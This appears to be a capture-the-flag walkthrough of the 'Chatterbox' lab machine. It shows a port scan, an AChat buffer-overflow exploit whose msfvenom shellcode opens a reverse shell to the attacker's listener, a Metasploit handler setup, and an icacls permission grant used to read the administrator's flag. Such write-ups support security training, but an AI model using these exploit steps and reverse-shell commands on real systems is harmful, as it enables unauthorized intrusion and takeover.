Chatterbox
Nmap :p
nmap -sC -sV -T4 -p- --open 10.129.70.142
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp open http AChat chat system httpd
9256/tcp open achat AChat chat system
Service Info: Host: CHATTERBOX; OS: Windows
The full port scan is important here since the interesting stuff is on 9255 and 9256. That’s AChat, an old chat server, and it has a known buffer overflow in how it handles incoming UDP packets.
https://github.com/mpgn/AChat-Reverse-TCP-Exploit
Foothold
The repo has a script that runs msfvenom for us and makes shellcode for a reverse shell. It has to be encoded with x86/unicode_mixed because AChat mangles the input as unicode, so normal shellcode would break:
./AChat_Payload.sh
RHOST: 10.129.70.146
LHOST: 10.10.17.229
LPORT: 4444
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 876 (iteration=0)
Payload size: 876 bytes
buf = b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
...
We paste that buf into AChat_Exploit.py, set the target IP, and set up a handler in metasploit. The payload is a staged windows/shell/reverse_tcp, so a plain nc listener won’t work here:
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.17.229
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit
Then fire the exploit:
python2 AChat_Exploit.py
[+] BUFFER OVERFLOW PAYLOAD RELEASED -- CHECK YOUR HANDLER
[*] Started reverse TCP handler on 10.10.17.229:4444
[*] Sending stage (240 bytes) to 10.129.70.146
[*] Command shell session 1 opened (10.10.17.229:4444 -> 10.129.70.146:49158)
We get a shell as alfred and can grab the user flag from his desktop.
Root
The weird thing about this box is that alfred can browse into C:\Users\Administrator\Desktop, but gets access denied when trying to read root.txt. Checking the permissions shows why. Alfred has full control over the Desktop folder, and being able to control the folder means he can change the permissions on the file inside it. So we just give ourselves access:
icacls c:\users\administrator\desktop\root.txt /grant alfred:F
type c:\users\administrator\desktop\root.txt
And we have the root flag. If you want a full admin shell instead of only reading the flag, alfred’s autologon password from the registry (Welcome1!) is also reused by the Administrator account.
Ez gg.